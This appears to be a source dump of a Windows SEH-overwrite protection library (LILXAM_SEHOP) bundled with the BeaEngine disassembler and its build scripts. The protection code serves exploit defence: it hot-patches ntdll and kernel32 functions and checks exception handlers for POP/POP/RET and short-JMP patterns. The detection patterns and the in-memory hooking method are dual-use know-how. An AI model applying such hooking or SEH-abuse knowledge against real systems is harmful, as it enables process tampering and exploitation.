                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[6+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS8BITS[6+0];
                (*pMyArgument).ArgSize = 8;
            }
            else {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[6+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[6+0];
                (*pMyArgument).ArgSize = 8;
            }
        }
    }
}



// =======================================
//          ModRM_3
// =======================================
void __stdcall _EDI(ARGTYPE* pMyArgument)
{
    int i = 0;
    OpSize = 0;
    if (MMX_ == 1) {
        (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersMMX[7+0]);
        (*pMyArgument).ArgType = REGISTER_TYPE + MMX_REG + REGS[7+0];
        (*pMyArgument).ArgSize = 64;
        return;
    }

    if (SSE_ == 1) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[7+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[7+8];
            (*pMyArgument).ArgSize = 128;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, RegistersSSE[7+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + SSE_REG + REGS[7+0];
            (*pMyArgument).ArgSize = 128;
        }
        return;
    }
    if (OperandSize == 64) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[7+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+8];
            (*pMyArgument).ArgSize = 64;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[7+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+0];
            (*pMyArgument).ArgSize = 64;
        }
    }
    else if (OperandSize == 32) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[7+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+8];
            (*pMyArgument).ArgSize = 32;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[7+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+0];
            (*pMyArgument).ArgSize = 32;
        }
    }
    else if (OperandSize == 16) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[7+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+8];
            (*pMyArgument).ArgSize = 16;
        }
        else {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[7+0]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+0];
            (*pMyArgument).ArgSize = 16;
        }
    }
    else if (OperandSize == 8) {
        if (REX.B_ == 1) {
            (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[7+8]);
            (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+8];
            (*pMyArgument).ArgSize = 8;
        }
        else {
            if (REX.state == 0) {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8BitsLegacy[7+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS8BITS[7+0];
                (*pMyArgument).ArgSize = 8;
            }
            else {
                (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers8Bits[7+0]);
                (*pMyArgument).ArgType = REGISTER_TYPE + GENERAL_REG + REGS[7+0];
                (*pMyArgument).ArgSize = 8;
            }
        }
    }
}


// =======================================
//
// =======================================
int __stdcall SIB_0(ARGTYPE* pMyArgument, int i)
{

    // ========================= Interpret Base

    if ((BASE_ == 5) && (MOD_ == 0)) {
        DECALAGE_EIP += 4;
        if (!Security(7)) return i;
        (void) sprintf((char*) (*pMyArgument).ArgMnemonic + i, "%.8X",*((DWORD*) (EIP_ + 3)));
        (*pMyArgument).Memory.Displacement = *((DWORD*) (EIP_ + 3));
        i += 4;
    }
    else {

        if (SYNTAX_ == ATSyntax) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "(%");
            i += 2;
        }
        if (AddressSize == 64) {
            if (REX.B_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[BASE_]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_];
                i += strlen(Registers64Bits[BASE_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[BASE_+8]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_+8];
                i += strlen( Registers64Bits[BASE_+8]);
            }
        }
        else if (AddressSize == 32) {
            if (REX.B_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[BASE_]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_];
                i += strlen( Registers32Bits[BASE_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[BASE_+8]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_+8];
                i += strlen( Registers32Bits[BASE_+8]);
            }
        }
    }
    // ======================== Interpret Index


    if (INDEX_ != 4) {
        if (SYNTAX_ == ATSyntax) {
            if (BASE_ == 5) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "(,%");
                i+=3;
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, ",%");
                i+=2;
            }
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "+");
            i+=1;
        }

        if (AddressSize == 64) {
            if (REX.X_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[INDEX_]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_];
                i += strlen( Registers64Bits[INDEX_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[INDEX_+8]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_+8];
                i += strlen( Registers64Bits[INDEX_+8]);
            }
        }
        else if (AddressSize == 32) {
            if (REX.X_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[INDEX_]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_];
                i += strlen( Registers32Bits[INDEX_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[INDEX_+8]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_+8];
                i += strlen( Registers32Bits[INDEX_+8]);
            }
        }
    }
    (*pMyArgument).Memory.Scale = 1;
    if ((SYNTAX_ == ATSyntax) && ((BASE_ != 5) || (INDEX_ != 4))) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, ")");
        i++;
    }
    return i;
}

// =======================================
//
// =======================================
int __stdcall SIB_1(ARGTYPE* pMyArgument, int i)
{
    int j;
    // ========================= Interpret Base

    if ((BASE_ == 5) && (MOD_ == 0)) {
        DECALAGE_EIP += 4;
        if (!Security(7)) return i;
        j = i;
        i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic + j,"%.8X", *((DWORD*) (EIP_ + 3)));
        (*pMyArgument).Memory.Displacement = *((DWORD*) (EIP_ + 3));
    }
    else {

        if (SYNTAX_ == ATSyntax) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "(%");
            i += 2;
        }
        if (AddressSize == 64) {
            if (REX.B_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[BASE_]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_];
                i += strlen( Registers64Bits[BASE_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[BASE_+8]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_+8];
                i += strlen( Registers64Bits[BASE_+8]);
            }
        }
        else if (AddressSize == 32) {
            if (REX.B_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[BASE_]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_];
                i += strlen( Registers32Bits[BASE_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[BASE_+8]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_+8];
                i += strlen( Registers32Bits[BASE_+8]);
            }
        }
    }
    // ======================== Interpret Index

    if (INDEX_ != 4) {
        if (SYNTAX_ == ATSyntax) {
            if (BASE_ == 5) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "(,%");
                i+=3;
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, ",%");
                i+=2;
            }
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "+");
            i+=1;
        }

        if (AddressSize == 64) {
            if (REX.X_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[INDEX_]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_];
                i += strlen( Registers64Bits[INDEX_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[INDEX_+8]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_+8];
                i += strlen( Registers64Bits[INDEX_+8]);
            }
        }
        else if (AddressSize == 32) {
            if (REX.X_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[INDEX_]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_];
                i += strlen( Registers32Bits[INDEX_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[INDEX_+8]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_+8];
                i += strlen( Registers32Bits[INDEX_+8]);
            }
        }
        (*pMyArgument).Memory.Scale = 2;
        if (SYNTAX_ == ATSyntax) {
            if ((BASE_ != 5) || (INDEX_ != 4)) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, ",2");
                i+=2;
            }
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "*2");

            i+=2;
        }
    }
    if ((SYNTAX_ == ATSyntax) && ((BASE_ != 5) || (INDEX_ != 4))) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, ")");
        i++;
    }
    return i;
}

// =======================================
//
// =======================================
int __stdcall SIB_2(ARGTYPE* pMyArgument, int i)
{
    int j;
    // ========================= Interpret Base

    if ((BASE_ == 5) && (MOD_ == 0)) {
        DECALAGE_EIP += 4;
        if (!Security(7)) return i;
        j = i;
        i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic + j,"%.8X", *((DWORD*) (EIP_ + 3)));
        (*pMyArgument).Memory.Displacement = *((DWORD*) (EIP_ + 3));
    }
    else {

        if (SYNTAX_ == ATSyntax) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "(%");
            i += 2;
        }
        if (AddressSize == 64) {
            if (REX.B_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[BASE_]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_];
                i += strlen( Registers64Bits[BASE_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[BASE_+8]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_+8];
                i += strlen( Registers64Bits[BASE_+8]);
            }
        }
        else if (AddressSize == 32) {
            if (REX.B_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[BASE_]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_];
                i += strlen( Registers32Bits[BASE_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[BASE_+8]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_+8];
                i += strlen( Registers32Bits[BASE_+8]);
            }
        }
    }
    // ======================== Interpret Index

    if (INDEX_ != 4) {
        if (SYNTAX_ == ATSyntax) {
            if (BASE_ == 5) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "(,%");
                i+=3;
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, ",%");
                i+=2;
            }
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "+");
            i+=1;
        }

        if (AddressSize == 64) {
            if (REX.X_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[INDEX_]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_];
                i += strlen( Registers64Bits[INDEX_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[INDEX_+8]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_+8];
                i += strlen( Registers64Bits[INDEX_+8]);
            }
        }
        else if (AddressSize == 32) {
            if (REX.X_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[INDEX_]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_];
                i += strlen( Registers32Bits[INDEX_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[INDEX_+8]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_+8];
                i += strlen( Registers32Bits[INDEX_+8]);
            }
        }
        (*pMyArgument).Memory.Scale = 4;
        if (SYNTAX_ == ATSyntax) {
            if ((BASE_ != 5) || (INDEX_ != 4)) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, ",4");
                i+=2;
            }
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "*4");
            i+=2;
        }
    }
    if ((SYNTAX_ == ATSyntax) && ((BASE_ != 5) || (INDEX_ != 4))) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, ")");
        i++;
    }
    return i;
}

// =======================================
//
// =======================================
int __stdcall SIB_3(ARGTYPE* pMyArgument, int i)
{
    int j;
    // ========================= Interpret Base

    if ((BASE_ == 5) && (MOD_ == 0)) {
        DECALAGE_EIP += 4;
        if (!Security(7)) return i;
        j = i;
        i+= CopyFormattedNumber((char*) (*pMyArgument).ArgMnemonic + j,"%.8X", *((DWORD*) (EIP_ + 3)));
        (*pMyArgument).Memory.Displacement = *((DWORD*) (EIP_ + 3));
    }
    else {

        if (SYNTAX_ == ATSyntax) {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "(%");
            i += 2;
        }
        if (AddressSize == 64) {
            if (REX.B_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[BASE_]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_];
                i += strlen( Registers64Bits[BASE_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[BASE_+8]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_+8];
                i += strlen( Registers64Bits[BASE_+8]);
            }
        }
        else if (AddressSize == 32) {
            if (REX.B_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[BASE_]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_];
                i += strlen( Registers32Bits[BASE_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[BASE_+8]);
                (*pMyArgument).Memory.BaseRegister = REGS[BASE_+8];
                i += strlen( Registers32Bits[BASE_+8]);
            }
        }
    }
    // ======================== Interpret Index

    if (INDEX_ != 4) {
        if (SYNTAX_ == ATSyntax) {
            if (BASE_ == 5) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "(,%");
                i+=3;
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, ",%");
                i+=2;
            }
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "+");
            i+=1;
        }

        if (AddressSize == 64) {
            if (REX.X_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[INDEX_]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_];
                i += strlen( Registers64Bits[INDEX_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers64Bits[INDEX_+8]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_+8];
                i += strlen( Registers64Bits[INDEX_+8]);
            }
        }
        else if (AddressSize == 32) {
            if (REX.X_ == 0) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[INDEX_]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_];
                i += strlen( Registers32Bits[INDEX_]);
            }
            else {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, Registers32Bits[INDEX_+8]);
                (*pMyArgument).Memory.IndexRegister = REGS[INDEX_+8];
                i += strlen( Registers32Bits[INDEX_+8]);
            }
        }
        (*pMyArgument).Memory.Scale = 8;
        if (SYNTAX_ == ATSyntax) {
            if ((BASE_ != 5) || (INDEX_ != 4)) {
                (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, ",8");
                i+=2;
            }
        }
        else {
            (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, "*8");
            i+=2;
        }
    }
    if ((SYNTAX_ == ATSyntax) && ((BASE_ != 5) || (INDEX_ != 4))) {
        (void) strcpy((char*) (*pMyArgument).ArgMnemonic + i, ")");
        i++;
    }
    return i;
}
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LILXAM_SEHOP/BeaEngine/makedll32.bat

@echo off

set INCLUDE=C:\PellesC\Include\;C:\PellesC\Include\Win\;
set LIB=C:\PellesC\Lib\;C:\PellesC\Lib\Win\;
set name=BeaEngine

echo ____________________________________
echo *
echo *  COMPILATION with POCC.EXE (Pelles C)
echo *
echo ____________________________________
\PellesC\bin\Pocc /Ze /W0 %name%.c


echo ____________________________________
echo *
echo *   CREATE DLL with POLINK.EXE (Pelles C)
echo *
echo ____________________________________
\PellesC\bin\PoLink /DLL /EXPORT:_Disasm@4 %name%.obj kernel32.lib 
pause
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LILXAM_SEHOP/BeaEngine/makedll64.bat

@echo off

set INCLUDE=C:\Program Files\PellesC\Include\;C:\Program Files\PellesC\Include\Win\;
set LIB=C:\Program Files\PellesC\Lib\;C:\Program Files\PellesC\Lib\Win64\;
set name=BeaEngine

echo ____________________________________
echo *
echo *  COMPILATION with POCC.EXE (Pelles C)
echo *
echo ____________________________________
"\Program Files\PellesC\bin\pocc" /Tamd64-coff /Ze /W0 %name%.c


echo ____________________________________
echo *
echo *   CREATE DLL with POLINK.EXE (Pelles C)
echo *
echo ____________________________________

"\Program Files\PellesC\bin\PoLink" /MACHINE:X64 /DLL /EXPORT:Disasm /out:%name%64.dll %name%.obj
pause












__MACOSX/LILXAM_SEHOP/BeaEngine/._makedll64.bat





LILXAM_SEHOP/BeaEngine/makeStaticLib32.bat

@echo off

set INCLUDE=C:\PellesC\Include\;C:\PellesC\Include\Win\;
set LIB=C:\PellesC\Lib\;C:\PellesC\Lib\Win\;
set name=BeaEngine

echo ____________________________________
echo *
echo *  COMPILATION with POCC.EXE (Pelles C)
echo *
echo ____________________________________
\PellesC\bin\Pocc /Ze /W0 %name%.c


echo ____________________________________
echo *
echo *   CREATE LIB with POLIB.EXE (Pelles C)
echo *
echo ____________________________________
\PellesC\bin\Polib /out:%name%.lib %name%.obj
pause
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LILXAM_SEHOP/BeaEngine/makeStaticLib64.bat

@echo off

set INCLUDE=C:\Program Files\PellesC\Include\;C:\Program Files\PellesC\Include\Win\;
set LIB=C:\Program Files\PellesC\Lib\;C:\Program Files\PellesC\Lib\Win64\;
set name=BeaEngine

echo ____________________________________
echo *
echo *  COMPILATION with POCC.EXE (Pelles C)
echo *
echo ____________________________________

"\Program Files\PellesC\bin\pocc" /Tamd64-coff /Ze /W2 %name%.c


echo ____________________________________
echo *
echo *   CREATE LIB with POLIB.EXE (Pelles C)
echo *
echo ____________________________________

"\Program Files\PellesC\bin\PoLib" /MACHINE:X64 /out:%name%64.lib %name%.obj
pause












__MACOSX/LILXAM_SEHOP/BeaEngine/._makeStaticLib64.bat





LILXAM_SEHOP/BeaEngine/README.txt

; ========================================
;
;		BeaEngine 3.1.0
;
; ========================================

1) LICENSE
==========

This software is distributed under the LGPL license.
See the COPYING and COPYING.LESSER files for more details.


2) ONLINE DOCUMENTATION
=======================

For online documentation, visit :

    http://beatrix2004.free.fr/BeaEngine/index1.php


3) AUTHOR, CONTRIBUTORS, BETA-TESTERS
==========================================

BeatriX 	- Author (France) : beaengine (at) gmail.com

Contributors :

	andrewl, bax, William Pomian, Ange Albertini, Pyrae, Vincent Roy, Kharneth, Eedy, Neitsa, KumaT, Rafal Cyran, 29a metal, sessiondiy, Tim, vince.
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LILXAM_SEHOP/Exploitation.c

#include <windows.h>
#include <excpt.h>
#include "Exploitation.h"
#include "SEHOP.h"
#include "resource.h"

BYTE CheckForExploitationAttempt(PCONTEXT pContext)
{
      
      PEXCEPTION_REGISTRATION pCurrentHandler = NULL;
      BOOL Exploitation = FALSE;
      
      ExploitationInformations.pThreadContext = pContext;
      
      
      asm("MOV %FS:(0), %eax");
      asm("MOV %%eax, %%eax" : "=a"(pCurrentHandler));

      ExploitationInformations.pCurrentHandler = pCurrentHandler;
      
      if(!IsSEHChainValid(pCurrentHandler, &ExploitationInformations.dwNumberOfSEH))
      {
                      Exploitation = TRUE;
                      ExploitationInformations.bIsSEHChainInvalid = 0x1;
      }

      if(!IsEBPValid(pContext))
      {
                     ExploitationInformations.bIsEBPInvalid = 0x1;          
                     Exploitation = TRUE;
      }
      if(!CheckPOPPOPPOPRET(pCurrentHandler))
      {                      
                     ExploitationInformations.bPOPPOPRET = 0x1;                        
                     Exploitation = TRUE; 
      }
      if(!CheckJMPSHORT(pCurrentHandler))
      {
                     ExploitationInformations.bJMPSHORT = 0x1;                        
                     Exploitation = TRUE;                                 
      }
     if(Exploitation == TRUE)
     {
                     
                     
                     ExploitationInformations.pSEHList = (PUCHAR)calloc((ExploitationInformations.dwNumberOfSEH+1)*512, sizeof(UCHAR));
                      
                     InStrSEHChain(ExploitationInformations.pSEHList);
                     
                     /* Dump Stack */
                     DumpStackRegion((PUCHAR)&ExploitationInformations.szStackDump, (PUCHAR)pCurrentHandler-56, 512);
      
                     DialogBox(hInstance,"MAIN_DIALOG",NULL,(DLGPROC)DialogProc);
     }

     return 0x1;
}
BYTE IsEBPValid(PCONTEXT pContext)
{
    return IsInStack(pContext->Ebp);
}

BYTE CheckPOPPOPPOPRET(PEXCEPTION_REGISTRATION pCurrentHandler)
{
     if(!IsValidAddress(pCurrentHandler->handler))
                                                  return 0x1;
     
     /* 
         POP 
         POP 
         RET 
     */

     if(( ((BYTE *)pCurrentHandler->handler)[0x0] >= 0x58 && // POP
          ((BYTE *)pCurrentHandler->handler)[0x0] <= 0x5F) &&  
        ( ((BYTE *)pCurrentHandler->handler)[0x1] >= 0x58 && //POP
          ((BYTE *)pCurrentHandler->handler)[0x1] <= 0x5F) &&
          ((BYTE *)pCurrentHandler->handler)[0x2] == 0xC3)  //RET
      {
              
              return 0x0;
      }                                  
       
       return 0x1;
}
BYTE CheckJMPSHORT(PEXCEPTION_REGISTRATION pCurrentHandler)
{

     
     if(((DWORD)pCurrentHandler->prev & 0x00FF0000) == 0x00EB0000 ||
        ((DWORD)pCurrentHandler->prev & 0x0000FF00) == 0x0000EB00 ||
        ((DWORD)pCurrentHandler->prev & 0x000000FF) == 0x000000EB)
     {
                               return 0x0;
     }
     
     return 0x1;
}                       
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LILXAM_SEHOP/Exploitation.h

#include <windows.h>
#include <excpt.h>


BYTE CheckForExploitationAttempt(PCONTEXT pContext);
BYTE IsEBPValid(PCONTEXT pContext);
BYTE CheckPOPPOPPOPRET(PEXCEPTION_REGISTRATION pCurrentHandler);
BYTE CheckJMPSHORT(PEXCEPTION_REGISTRATION pCurrentHandler);

typedef struct EXPLOITATION_INFORMATIONS_
{
       BYTE bIsSEHChainInvalid;
       BYTE bPOPPOPRET;
       BYTE bIsEBPInvalid;
       BYTE bJMPSHORT;
       UCHAR szStackDump[512*4]; 
       DWORD dwExceptionCode;
       DWORD dwExceptionAddress;
       DWORD dwNumberOfSEH;
       PUCHAR pSEHList;
       PEXCEPTION_REGISTRATION pCurrentHandler;
       PCONTEXT pThreadContext;
}EXPLOITATION_INFORMATIONS, *PEXPLOITATION_INFORMATIONS;


EXPLOITATION_INFORMATIONS ExploitationInformations;
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LILXAM_SEHOP/Hook.c

#include <windows.h>
#include "Hook.h"
#include "Exploitation.h"

PDWORD GetRtlDispatchExceptionAddress()
{
     HANDLE hModule = NULL;
     DWORD pKiUserExceptionDispatcher, pRtlDispatchException;
     size_t i = 0;
     
     hModule = GetModuleHandle("ntdll.dll");
     
     pKiUserExceptionDispatcher = (DWORD)GetProcAddress(hModule, "KiUserExceptionDispatcher");

     while(((BYTE*)pKiUserExceptionDispatcher)[i] != 0xE8)
          i++;
     
     pRtlDispatchException = (DWORD)pKiUserExceptionDispatcher+i;
     pRtlDispatchException += (DWORD)(*(PDWORD)(pRtlDispatchException+0x1))+0x5;
     
     
     return (PDWORD)pRtlDispatchException;
}
     
DWORD GetJMP(DWORD dwSrcAddr, DWORD dwDestAddr)
{
      return (DWORD)dwDestAddr-dwSrcAddr-5;
}
 
VOID HookRtlDispatchException()
{
     PDWORD pdwFuncAddr = NULL;
     
     pdwFuncAddr = (PDWORD)GetRtlDispatchExceptionAddress();//(PDWORD)GetProcAddress(hModule, "_RtlDispatchException@8");

     HotPatchingHooker(pdwFuncAddr, (PDWORD)&ExceptionCallBack);

     return;
}
VOID HotPatchingHooker(PDWORD pdwFuncAddr, PDWORD pdwCallback)
{
     DWORD dwOldProtect;
     
     BYTE JMP[] = "\xE9\x00\x00\x00\x00"; // On complètera l'address plus tard
     
     VirtualProtect((PUCHAR)pdwFuncAddr - 0x5, 0x7, PAGE_READWRITE, &dwOldProtect);

     memcpy(pdwFuncAddr, "\xEb\xF9", 0x2);
     
     *(PDWORD)(JMP+1) = GetJMP((DWORD)((PUCHAR)pdwFuncAddr-0x5), (DWORD)pdwCallback);
     
     memcpy((PUCHAR)pdwFuncAddr-0x5, JMP, 0x5);
     
     VirtualProtect((PUCHAR)pdwFuncAddr - 0x5, 0x7, dwOldProtect, &dwOldProtect);
     
     return;
}
VOID ExceptionCallBack(PEXCEPTION_RECORD pExcptRec, PCONTEXT pContext)
{
     
     PDWORD pRtlDispatchException;

     /* Initialisation */
      memset(&ExploitationInformations, 0x0, sizeof(EXPLOITATION_INFORMATIONS));
      
      ExploitationInformations.dwExceptionCode = pExcptRec->ExceptionCode;
      ExploitationInformations.dwExceptionAddress = pExcptRec->ExceptionAddress;
      
     if(!CheckForExploitationAttempt(pContext))
               ExitProcess(0x0);
     
     /*Otherwise jump on original RtlDispatchHandler*/
     pdwOriginalRtlDispatchExcptStartAddress = (PDWORD)((PUCHAR)GetRtlDispatchExceptionAddress()+0x2);
     pdwOriginalRtlDispatchExcptStartAddress(pExcptRec, pContext);

                                 
     return;
}
VOID HookCreateThread()
{
     PDWORD pdwCreateRemoteThreadAddr = NULL;
     
     pdwCreateRemoteThreadAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread");

     
     if(pdwCreateRemoteThreadAddr != NULL)
                                  HotPatchingHooker(pdwCreateRemoteThreadAddr, &ThreadCreationCallBack);
     else
                                  MessageBox(NULL, "Lilxam SEHOP library initialization failed ! ", "Error !", MB_OK);

     return;
}


VOID ThreadCreationCallBack(LPSECURITY_ATTRIBUTES lpThreadAttributes,
                            SIZE_T dwStackSize,
                            LPTHREAD_START_ROUTINE lpStartAddress,
                            LPVOID lpParameter,
                            DWORD dwCreationFlags,
                            LPDWORD lpThreadId)
{

     pdwOriginalThreadStartAddress  = (THREAD_PROC)lpStartAddress;
     lpStartAddress = &ProtectThread;
     
     pdwOriginalCreateThread = (PDWORD)((PUCHAR)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread")+0x2);

     pdwOriginalCreateThread(lpThreadAttributes,
                        dwStackSize,
                        lpStartAddress,
                        lpParameter,
                        dwCreationFlags,
                        lpThreadId);
             
     return ;
}
VOID ProtectThread(LPVOID lpParameter)
{

      /* Set our SEH Handler */                  
      SetSEHHandler();

      /* We don't forget to pass parameters to the thread */
      pdwOriginalThreadStartAddress(lpParameter);
      
      return;
}
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LILXAM_SEHOP/Hook.h

#include <windows.h>

typedef DWORD (*CREATE_THREAD_)(LPSECURITY_ATTRIBUTES lpThreadAttributes,
                            SIZE_T dwStackSize,
                            LPTHREAD_START_ROUTINE lpStartAddress,
                            LPVOID lpParameter,
                            DWORD dwCreationFlags,
                            LPDWORD lpThreadId);
                            
CREATE_THREAD_ pdwOriginalCreateThread;

typedef DWORD (*THREAD_PROC)(LPVOID lpParameter);
THREAD_PROC pdwOriginalThreadStartAddress;


typedef DWORD (*DISPATCH_PROC)(PEXCEPTION_RECORD pExcptRec, PCONTEXT pContext);
DISPATCH_PROC pdwOriginalRtlDispatchExcptStartAddress;


PDWORD GetRtlDispatchExceptionAddress();

VOID HookRtlDispatchException();
VOID HookCreateRemoteThread();

VOID HotPatchingHooker(PDWORD pdwFuncAddr, PDWORD pdwCallback);

/* CALLBACKS */
VOID ThreadCreationCallBack(LPSECURITY_ATTRIBUTES lpThreadAttributes,
                            SIZE_T dwStackSize,
